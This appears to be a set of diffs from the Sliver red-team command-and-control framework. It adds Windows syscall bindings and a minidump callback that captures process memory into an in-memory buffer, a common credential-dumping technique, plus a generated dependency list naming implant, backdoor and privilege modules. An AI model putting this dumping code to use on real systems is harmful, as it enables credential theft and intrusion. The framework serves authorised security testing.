dataPtr := uintptr(unsafe.Pointer(&data[0]))
|
||||
syscalls.RtlCopyMemory(dataPtr, callbackInputPtr, uint32(bufferSize))
|
||||
buffReader := bytes.NewReader(data)
|
||||
err := binary.Read(buffReader, binary.LittleEndian, &callbackInput.ProcessId)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var procHandle uint64
|
||||
err = binary.Read(buffReader, binary.LittleEndian, &procHandle)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
callbackInput.ProcessHandle = uintptr(procHandle)
|
||||
err = binary.Read(buffReader, binary.LittleEndian, &callbackInput.CallbackType)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var ioHandle uint64
|
||||
err = binary.Read(buffReader, binary.LittleEndian, &ioHandle)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ioCallback.Handle = uintptr(ioHandle)
|
||||
err = binary.Read(buffReader, binary.LittleEndian, &ioCallback.Offset)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var ioBuffer uint64
|
||||
err = binary.Read(buffReader, binary.LittleEndian, &ioBuffer)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ioCallback.Buffer = uintptr(ioBuffer)
|
||||
err = binary.Read(buffReader, binary.LittleEndian, &ioCallback.BufferBytes)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
callbackInput.Io = ioCallback
|
||||
return &callbackInput, nil
|
||||
}
|
||||
|
||||
func minidumpCallback(callbackParam uintptr, callbackInputPtr uintptr, callbackOutput *MiniDumpCallbackOutput) uintptr {
|
||||
callbackInput, err := getCallbackInput(callbackInputPtr)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("getCallbackInput failed: %s\n", err.Error())
|
||||
// {{end}}
|
||||
return FALSE
|
||||
}
|
||||
switch callbackInput.CallbackType {
|
||||
case IoStartCallback:
|
||||
callbackOutput.Status = S_FALSE
|
||||
case IoWriteAllCallback:
|
||||
callbackOutput.Status = S_OK
|
||||
outData := (*outDump)(unsafe.Pointer(callbackParam))
|
||||
procHeap, err := syscalls.GetProcessHeap()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("minidumpCallback GetProcessHeap failed: %s\n", err.Error())
|
||||
// {{end}}
|
||||
return FALSE
|
||||
}
|
||||
currentBuffSize, err := syscalls.HeapSize(procHeap, 0, outData.outPtr)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("minidumpCallback HeapSize failed: %s\n", err.Error())
|
||||
// {{end}}
|
||||
return FALSE
|
||||
}
|
||||
bytesAndOffset := callbackInput.Io.Offset + uint64(callbackInput.Io.BufferBytes)
|
||||
if bytesAndOffset >= uint64(currentBuffSize) {
|
||||
increasedSize := IncrementSize
|
||||
if bytesAndOffset <= uint64(currentBuffSize*2) {
|
||||
increasedSize = int(currentBuffSize) * 2
|
||||
} else {
|
||||
increasedSize += int(bytesAndOffset)
|
||||
}
|
||||
outData.outPtr, err = syscalls.HeapReAlloc(procHeap, 0, outData.outPtr, uintptr(increasedSize))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("minidumpCallback HeapReAlloc failed: %s\n", err.Error())
|
||||
// {{end}}
|
||||
return FALSE
|
||||
}
|
||||
}
|
||||
destination := outData.outPtr + uintptr(callbackInput.Io.Offset)
|
||||
syscalls.RtlCopyMemory(destination, callbackInput.Io.Buffer, callbackInput.Io.BufferBytes)
|
||||
bytesRead += callbackInput.Io.BufferBytes
|
||||
case IoFinishCallback:
|
||||
callbackOutput.Status = S_OK
|
||||
default:
|
||||
return TRUE
|
||||
}
|
||||
return TRUE
|
||||
}
|
||||
@@ -5,6 +5,8 @@ package syscalls
|
||||
//sys InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) = kernel32.InitializeProcThreadAttributeList
|
||||
//sys GetProcessHeap() (procHeap windows.Handle, err error) = kernel32.GetProcessHeap
|
||||
//sys HeapAlloc(hHeap windows.Handle, dwFlags uint32, dwBytes uintptr) (lpMem uintptr, err error) = kernel32.HeapAlloc
|
||||
//sys HeapReAlloc(hHeap windows.Handle, dwFlags uint32, lpMem uintptr, dwBytes uintptr) (lpRes uintptr, err error) = kernel32.HeapReAlloc
|
||||
//sys HeapSize(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (res uint32, err error) = kernel32.HeapSize
|
||||
//sys UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) = kernel32.UpdateProcThreadAttribute
|
||||
//sys CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.SecurityAttributes, threadSecurity *windows.SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = kernel32.CreateProcessW
|
||||
//sys VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) = kernel32.VirtualAllocEx
|
||||
@@ -35,5 +37,9 @@ package syscalls
|
||||
//sys SelectObject(hdc windows.Handle, h windows.Handle) (HGDIOBJ windows.Handle, err error) = Gdi32.SelectObject
|
||||
//sys BitBlt(hdc windows.Handle, x uint32, y uint32, cx uint32, cy uint32, hdcSrc windows.Handle, x1 uint32, y1 uint32, rop int32) (BOOL int, err error) = Gdi32.BitBlt
|
||||
//sys GetDIBits(hdc windows.Handle, hbm windows.Handle, start uint32, cLines uint32, lpvBits uintptr, lpbmi uintptr, usage int) (ret int, err error) = Gdi32.GetDIBits
|
||||
//sys PssCaptureSnapshot(processHandle windows.Handle, captureFlags uint32, threadContextFlags uint32, snapshotHandle *windows.Handle) (err error) = kernel32.PssCaptureSnapshot
|
||||
|
||||
//sys RtlCopyMemory(dest uintptr, src uintptr, dwSize uint32) = ntdll.RtlCopyMemory
|
||||
//sys GetProcessMemoryInfo(process windows.Handle, ppsmemCounters *ProcessMemoryCounters, cb uint32) (err error) = psapi.GetProcessMemoryInfo
|
||||
//sys LookupPrivilegeNameW(systemName string, luid *uint64, buffer *uint16, size *uint32) (err error) = advapi32.LookupPrivilegeNameW
|
||||
//sys LookupPrivilegeDisplayNameW(systemName string, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) = advapi32.LookupPrivilegeDisplayNameW
|
||||
@@ -5,6 +5,40 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
PSS_CAPTURE_NONE = iota
|
||||
PSS_CAPTURE_VA_CLONE
|
||||
PSS_CAPTURE_RESERVED_00000002
|
||||
PSS_CAPTURE_HANDLES
|
||||
PSS_CAPTURE_HANDLE_NAME_INFORMATION
|
||||
PSS_CAPTURE_HANDLE_BASIC_INFORMATION
|
||||
PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION
|
||||
PSS_CAPTURE_HANDLE_TRACE
|
||||
PSS_CAPTURE_THREADS
|
||||
PSS_CAPTURE_THREAD_CONTEXT
|
||||
PSS_CAPTURE_THREAD_CONTEXT_EXTENDED
|
||||
PSS_CAPTURE_RESERVED_00000400
|
||||
PSS_CAPTURE_VA_SPACE
|
||||
PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION
|
||||
PSS_CAPTURE_IPT_TRACE
|
||||
PSS_CAPTURE_RESERVED_00004000
|
||||
PSS_CREATE_BREAKAWAY_OPTIONAL
|
||||
PSS_CREATE_BREAKAWAY
|
||||
PSS_CREATE_FORCE_BREAKAWAY
|
||||
PSS_CREATE_USE_VM_ALLOCATIONS
|
||||
PSS_CREATE_MEASURE_PERFORMANCE
|
||||
PSS_CREATE_RELEASE_SECTION
|
||||
|
||||
CONTEXT_i386 = 0x10000
|
||||
CONTEXT_i486 = 0x10000 // same as i386
|
||||
CONTEXT_CONTROL = CONTEXT_i386 | 0x01 // SS:SP, CS:IP, FLAGS, BP
|
||||
CONTEXT_INTEGER = CONTEXT_i386 | 0x02 // AX, BX, CX, DX, SI, DI
|
||||
CONTEXT_SEGMENTS = CONTEXT_i386 | 0x0 // DS, ES, FS, GS
|
||||
CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08 // 387 state
|
||||
CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10 // DB 0-3,6,7
|
||||
CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20 // cpu specific extensions
|
||||
CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS
|
||||
CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS
|
||||
|
||||
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000
|
||||
LOGON32_LOGON_INTERACTIVE = 2
|
||||
LOGON32_LOGON_NETWORK = 3
|
||||
@@ -84,6 +118,19 @@ type MONITORINFO struct {
|
||||
DwFlags uint32
|
||||
}
|
||||
|
||||
type ProcessMemoryCounters struct {
|
||||
Cb uint32
|
||||
PageFaultCount uint32
|
||||
PeakWorkingSetSize int
|
||||
WorkingSetSize int
|
||||
QuotaPeakPagedPoolUsage int
|
||||
QuotaPagedPoolUsage int
|
||||
QuotaPeakNonPagedPoolUsage int
|
||||
QuotaNonPagedPoolUsage int
|
||||
PagefileUsage int
|
||||
PeakPagefileUsage int
|
||||
}
|
||||
|
||||
const (
|
||||
CCHDEVICENAME = 32
|
||||
CCHFORMNAME = 32
|
||||
|
||||
@@ -44,6 +44,8 @@ var (
|
||||
modUser32 = windows.NewLazySystemDLL("User32.dll")
|
||||
modadvapi32 = windows.NewLazySystemDLL("advapi32.dll")
|
||||
modkernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
modntdll = windows.NewLazySystemDLL("ntdll.dll")
|
||||
modpsapi = windows.NewLazySystemDLL("psapi.dll")
|
||||
|
||||
procMiniDumpWriteDump = modDbgHelp.NewProc("MiniDumpWriteDump")
|
||||
procBitBlt = modGdi32.NewProc("BitBlt")
|
||||
@@ -72,12 +74,17 @@ var (
|
||||
procGetProcessHeap = modkernel32.NewProc("GetProcessHeap")
|
||||
procHeapAlloc = modkernel32.NewProc("HeapAlloc")
|
||||
procHeapFree = modkernel32.NewProc("HeapFree")
|
||||
procHeapReAlloc = modkernel32.NewProc("HeapReAlloc")
|
||||
procHeapSize = modkernel32.NewProc("HeapSize")
|
||||
procInitializeProcThreadAttributeList = modkernel32.NewProc("InitializeProcThreadAttributeList")
|
||||
procPssCaptureSnapshot = modkernel32.NewProc("PssCaptureSnapshot")
|
||||
procQueueUserAPC = modkernel32.NewProc("QueueUserAPC")
|
||||
procUpdateProcThreadAttribute = modkernel32.NewProc("UpdateProcThreadAttribute")
|
||||
procVirtualAllocEx = modkernel32.NewProc("VirtualAllocEx")
|
||||
procVirtualProtectEx = modkernel32.NewProc("VirtualProtectEx")
|
||||
procWriteProcessMemory = modkernel32.NewProc("WriteProcessMemory")
|
||||
procRtlCopyMemory = modntdll.NewProc("RtlCopyMemory")
|
||||
procGetProcessMemoryInfo = modpsapi.NewProc("GetProcessMemoryInfo")
|
||||
)
|
||||
|
||||
func MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) {
|
||||
@@ -333,6 +340,24 @@ func HeapFree(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func HeapReAlloc(hHeap windows.Handle, dwFlags uint32, lpMem uintptr, dwBytes uintptr) (lpRes uintptr, err error) {
|
||||
r0, _, e1 := syscall.Syscall6(procHeapReAlloc.Addr(), 4, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem), uintptr(dwBytes), 0, 0)
|
||||
lpRes = uintptr(r0)
|
||||
if lpRes == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func HeapSize(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (res uint32, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procHeapSize.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem))
|
||||
res = uint32(r0)
|
||||
if res == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) {
|
||||
r1, _, e1 := syscall.Syscall6(procInitializeProcThreadAttributeList.Addr(), 4, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwAttributeCount), uintptr(dwFlags), uintptr(unsafe.Pointer(lpSize)), 0, 0)
|
||||
if r1 == 0 {
|
||||
@@ -341,6 +366,14 @@ func InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LI
|
||||
return
|
||||
}
|
||||
|
||||
func PssCaptureSnapshot(processHandle windows.Handle, captureFlags uint32, threadContextFlags uint32, snapshotHandle *windows.Handle) (err error) {
|
||||
r1, _, e1 := syscall.Syscall6(procPssCaptureSnapshot.Addr(), 4, uintptr(processHandle), uintptr(captureFlags), uintptr(threadContextFlags), uintptr(unsafe.Pointer(snapshotHandle)), 0, 0)
|
||||
if r1 == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func QueueUserAPC(pfnAPC uintptr, hThread windows.Handle, dwData uintptr) (err error) {
|
||||
r1, _, e1 := syscall.Syscall(procQueueUserAPC.Addr(), 3, uintptr(pfnAPC), uintptr(hThread), uintptr(dwData))
|
||||
if r1 == 0 {
|
||||
@@ -381,3 +414,16 @@ func WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func RtlCopyMemory(dest uintptr, src uintptr, dwSize uint32) {
|
||||
syscall.Syscall(procRtlCopyMemory.Addr(), 3, uintptr(dest), uintptr(src), uintptr(dwSize))
|
||||
return
|
||||
}
|
||||
|
||||
func GetProcessMemoryInfo(process windows.Handle, ppsmemCounters *ProcessMemoryCounters, cb uint32) (err error) {
|
||||
r1, _, e1 := syscall.Syscall(procGetProcessMemoryInfo.Addr(), 3, uintptr(process), uintptr(unsafe.Pointer(ppsmemCounters)), uintptr(cb))
|
||||
if r1 == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -0,0 +1,449 @@
|
||||
github.com/bishopfox/sliver/server dependencies: (generated by github.com/tailscale/depaware)
|
||||
|
||||
github.com/AlecAivazis/survey/v2 from github.com/bishopfox/sliver/client/command/exec+
|
||||
github.com/AlecAivazis/survey/v2/core from github.com/AlecAivazis/survey/v2
|
||||
💣 github.com/AlecAivazis/survey/v2/terminal from github.com/AlecAivazis/survey/v2
|
||||
github.com/Binject/binjection/bj from github.com/bishopfox/sliver/server/rpc
|
||||
github.com/Binject/debug/elf from github.com/Binject/binjection/bj
|
||||
github.com/Binject/debug/macho from github.com/Binject/binjection/bj
|
||||
github.com/Binject/debug/pe from github.com/Binject/binjection/bj+
|
||||
github.com/Binject/shellcode from github.com/Binject/binjection/bj
|
||||
github.com/Binject/shellcode/api from github.com/Binject/binjection/bj+
|
||||
github.com/VirusTotal/vt-go from github.com/lesnuages/snitch/pkg/snitch
|
||||
github.com/VividCortex/ewma from github.com/cheggaaa/pb/v3
|
||||
github.com/alecthomas/chroma from github.com/alecthomas/chroma/formatters+
|
||||
github.com/alecthomas/chroma/formatters from github.com/bishopfox/sliver/client/command/filesystem
|
||||
github.com/alecthomas/chroma/formatters/html from github.com/alecthomas/chroma/formatters
|
||||
github.com/alecthomas/chroma/formatters/svg from github.com/alecthomas/chroma/formatters
|
||||
github.com/alecthomas/chroma/lexers from github.com/bishopfox/sliver/client/command/filesystem
|
||||
github.com/alecthomas/chroma/lexers/a from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/b from github.com/alecthomas/chroma/lexers+
|
||||
github.com/alecthomas/chroma/lexers/c from github.com/alecthomas/chroma/lexers+
|
||||
github.com/alecthomas/chroma/lexers/circular from github.com/alecthomas/chroma/lexers+
|
||||
github.com/alecthomas/chroma/lexers/d from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/e from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/f from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/g from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/h from github.com/alecthomas/chroma/lexers+
|
||||
github.com/alecthomas/chroma/lexers/i from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/internal from github.com/alecthomas/chroma/lexers+
|
||||
github.com/alecthomas/chroma/lexers/j from github.com/alecthomas/chroma/lexers+
|
||||
github.com/alecthomas/chroma/lexers/k from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/l from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/m from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/n from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/o from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/p from github.com/alecthomas/chroma/lexers+
|
||||
github.com/alecthomas/chroma/lexers/q from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/r from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/s from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/t from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/v from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/w from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/x from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/y from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/z from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/styles from github.com/bishopfox/sliver/client/command/filesystem
|
||||
github.com/binject/go-donut/donut from github.com/bishopfox/sliver/server/generate
|
||||
github.com/bishopfox/sliver/client/assets from github.com/bishopfox/sliver/client/command/reaction+
|
||||
github.com/bishopfox/sliver/client/command from github.com/bishopfox/sliver/server/console
|
||||
github.com/bishopfox/sliver/client/command/backdoor from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/dllhijack from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/environment from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/exec from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/extensions from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/filesystem from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/generate from github.com/bishopfox/sliver/client/command+
|
||||
github.com/bishopfox/sliver/client/command/help from github.com/bishopfox/sliver/client/command+
|
||||
github.com/bishopfox/sliver/client/command/info from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/jobs from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/loot from github.com/bishopfox/sliver/client/command+
|
||||
github.com/bishopfox/sliver/client/command/monitor from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/network from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/operators from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/pivots from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/portfwd from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/privilege from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/processes from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/reaction from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/registry from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/screenshot from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/sessions from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/shell from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/update from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/websites from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/wireguard from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/console from github.com/bishopfox/sliver/client/command+
|
||||
github.com/bishopfox/sliver/client/constants from github.com/bishopfox/sliver/client/command+
|
||||
github.com/bishopfox/sliver/client/core from github.com/bishopfox/sliver/client/command/exec+
|
||||
github.com/bishopfox/sliver/client/licenses from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/spin from github.com/bishopfox/sliver/client/console
|
||||
github.com/bishopfox/sliver/client/tcpproxy from github.com/bishopfox/sliver/client/command/portfwd+
|
||||
github.com/bishopfox/sliver/client/transport from github.com/bishopfox/sliver/server/console
|
||||
github.com/bishopfox/sliver/client/version from github.com/bishopfox/sliver/client/command/update+
|
||||
github.com/bishopfox/sliver/implant from github.com/bishopfox/sliver/server/generate
|
||||
github.com/bishopfox/sliver/protobuf from github.com/bishopfox/sliver/server/assets
|
||||
github.com/bishopfox/sliver/protobuf/clientpb from github.com/bishopfox/sliver/client/command/exec+
|
||||
github.com/bishopfox/sliver/protobuf/commonpb from github.com/bishopfox/sliver/client/command/environment+
|
||||
github.com/bishopfox/sliver/protobuf/rpcpb from github.com/bishopfox/sliver/client/command/loot+
|
||||
github.com/bishopfox/sliver/protobuf/sliverpb from github.com/bishopfox/sliver/client/command/backdoor+
|
||||
github.com/bishopfox/sliver/server/assets from github.com/bishopfox/sliver/server/certs+
|
||||
github.com/bishopfox/sliver/server/c2 from github.com/bishopfox/sliver/server/cli+
|
||||
github.com/bishopfox/sliver/server/certs from github.com/bishopfox/sliver/server/c2+
|
||||
github.com/bishopfox/sliver/server/cli from github.com/bishopfox/sliver/server
|
||||
github.com/bishopfox/sliver/server/configs from github.com/bishopfox/sliver/server/c2+
|
||||
github.com/bishopfox/sliver/server/console from github.com/bishopfox/sliver/server/cli
|
||||
github.com/bishopfox/sliver/server/core from github.com/bishopfox/sliver/client/core+
|
||||
github.com/bishopfox/sliver/server/cryptography from github.com/bishopfox/sliver/server/c2
|
||||
github.com/bishopfox/sliver/server/daemon from github.com/bishopfox/sliver/server/cli
|
||||
github.com/bishopfox/sliver/server/db from github.com/bishopfox/sliver/server/c2+
|
||||
github.com/bishopfox/sliver/server/db/models from github.com/bishopfox/sliver/server/certs+
|
||||
github.com/bishopfox/sliver/server/generate from github.com/bishopfox/sliver/server/c2+
|
||||
github.com/bishopfox/sliver/server/gogo from github.com/bishopfox/sliver/server/generate
|
||||
github.com/bishopfox/sliver/server/handlers from github.com/bishopfox/sliver/server/c2
|
||||
github.com/bishopfox/sliver/server/log from github.com/bishopfox/sliver/server/assets+
|
||||
github.com/bishopfox/sliver/server/loot from github.com/bishopfox/sliver/server/rpc
|
||||
github.com/bishopfox/sliver/server/msf from github.com/bishopfox/sliver/server/rpc
|
||||
github.com/bishopfox/sliver/server/netstack from github.com/bishopfox/sliver/server/c2
|
||||
github.com/bishopfox/sliver/server/rpc from github.com/bishopfox/sliver/server/transport
|
||||
github.com/bishopfox/sliver/server/transport from github.com/bishopfox/sliver/server/console+
|
||||
github.com/bishopfox/sliver/server/watchtower from github.com/bishopfox/sliver/server/generate+
|
||||
github.com/bishopfox/sliver/server/website from github.com/bishopfox/sliver/server/c2+
|
||||
github.com/bishopfox/sliver/util from github.com/bishopfox/sliver/client/command/filesystem+
|
||||
github.com/bishopfox/sliver/util/encoders from github.com/bishopfox/sliver/client/command/exec+
|
||||
github.com/cheggaaa/pb/v3 from github.com/bishopfox/sliver/client/command/update
|
||||
💣 github.com/cheggaaa/pb/v3/termutil from github.com/cheggaaa/pb/v3
|
||||
github.com/danwakefield/fnmatch from github.com/alecthomas/chroma/lexers/internal
|
||||
github.com/demisto/goxforce from github.com/lesnuages/snitch/pkg/snitch
|
||||
github.com/desertbit/closer/v3 from github.com/desertbit/grumble
|
||||
github.com/desertbit/columnize from github.com/bishopfox/sliver/client/command/help+
|
||||
github.com/desertbit/go-shlex from github.com/bishopfox/sliver/client/console+
|
||||
github.com/desertbit/grumble from github.com/bishopfox/sliver/client/command+
|
||||
💣 github.com/desertbit/readline from github.com/desertbit/grumble
|
||||
github.com/dlclark/regexp2 from github.com/alecthomas/chroma
|
||||
github.com/dlclark/regexp2/syntax from github.com/dlclark/regexp2
|
||||
github.com/fatih/color from github.com/Binject/binjection/bj+
|
||||
github.com/go-sql-driver/mysql from gorm.io/driver/mysql
|
||||
github.com/gofrs/uuid from github.com/bishopfox/sliver/server/db/models+
|
||||
github.com/golang/protobuf/jsonpb from github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus
|
||||
github.com/golang/protobuf/proto from github.com/golang/protobuf/jsonpb+
|
||||
github.com/golang/protobuf/ptypes from google.golang.org/grpc/internal/binarylog+
|
||||
github.com/golang/protobuf/ptypes/any from github.com/golang/protobuf/ptypes
|
||||
github.com/golang/protobuf/ptypes/duration from github.com/golang/protobuf/ptypes
|
||||
github.com/golang/protobuf/ptypes/timestamp from github.com/golang/protobuf/ptypes
|
||||
github.com/google/btree from inet.af/netstack/tcpip/header+
|
||||
github.com/google/uuid from github.com/binject/go-donut/donut+
|
||||
github.com/gorilla/mux from github.com/bishopfox/sliver/server/c2
|
||||
github.com/grpc-ecosystem/go-grpc-middleware from github.com/bishopfox/sliver/server/transport+
|
||||
github.com/grpc-ecosystem/go-grpc-middleware/logging from github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus
|
||||
github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus from github.com/bishopfox/sliver/server/transport
|
||||
github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus/ctxlogrus from github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus
|
||||
github.com/grpc-ecosystem/go-grpc-middleware/tags from github.com/bishopfox/sliver/server/transport+
|
||||
github.com/hashicorp/errwrap from github.com/hashicorp/go-multierror
|
||||
github.com/hashicorp/go-multierror from github.com/desertbit/closer/v3
|
||||
W 💣 github.com/inconshreveable/mousetrap from github.com/spf13/cobra
|
||||
github.com/jackc/chunkreader/v2 from github.com/jackc/pgconn+
|
||||
github.com/jackc/pgconn from github.com/jackc/pgconn/stmtcache+
|
||||
github.com/jackc/pgconn/internal/ctxwatch from github.com/jackc/pgconn
|
||||
github.com/jackc/pgconn/stmtcache from github.com/jackc/pgx/v4
|
||||
github.com/jackc/pgio from github.com/jackc/pgconn+
|
||||
github.com/jackc/pgpassfile from github.com/jackc/pgconn
|
||||
github.com/jackc/pgproto3/v2 from github.com/jackc/pgconn+
|
||||
github.com/jackc/pgservicefile from github.com/jackc/pgconn
|
||||
github.com/jackc/pgtype from github.com/jackc/pgx/v4+
|
||||
github.com/jackc/pgx/v4 from github.com/jackc/pgx/v4/stdlib+
|
||||
github.com/jackc/pgx/v4/internal/sanitize from github.com/jackc/pgx/v4
|
||||
github.com/jackc/pgx/v4/stdlib from gorm.io/driver/postgres
|
||||
github.com/jinzhu/inflection from gorm.io/gorm/schema
|
||||
github.com/jinzhu/now from gorm.io/gorm/schema
|
||||
github.com/kballard/go-shellquote from github.com/AlecAivazis/survey/v2+
|
||||
github.com/lesnuages/snitch/pkg/snitch from github.com/bishopfox/sliver/server/watchtower
|
||||
💣 github.com/mattn/go-colorable from github.com/cheggaaa/pb/v3+
|
||||
💣 github.com/mattn/go-isatty from github.com/AlecAivazis/survey/v2/terminal+
|
||||
github.com/mattn/go-runewidth from github.com/cheggaaa/pb/v3
|
||||
💣 github.com/mattn/go-sqlite3 from github.com/bishopfox/sliver/server/db+
|
||||
github.com/mgutz/ansi from github.com/AlecAivazis/survey/v2/core+
|
||||
github.com/miekg/dns from github.com/bishopfox/sliver/server/c2
|
||||
github.com/sirupsen/logrus from github.com/bishopfox/sliver/server/configs+
|
||||
github.com/spf13/cobra from github.com/bishopfox/sliver/server/cli
|
||||
github.com/spf13/pflag from github.com/spf13/cobra
|
||||
github.com/thedevsaddam/gojsonq/v2 from github.com/VirusTotal/vt-go
|
||||
💣 golang.zx2c4.com/wireguard/conn from github.com/bishopfox/sliver/server/c2+
|
||||
W 💣 golang.zx2c4.com/wireguard/conn/winrio from golang.zx2c4.com/wireguard/conn
|
||||
💣 golang.zx2c4.com/wireguard/device from github.com/bishopfox/sliver/server/c2
|
||||
💣 golang.zx2c4.com/wireguard/ipc from golang.zx2c4.com/wireguard/device
|
||||
W 💣 golang.zx2c4.com/wireguard/ipc/winpipe from golang.zx2c4.com/wireguard/ipc
|
||||
golang.zx2c4.com/wireguard/ratelimiter from golang.zx2c4.com/wireguard/device
|
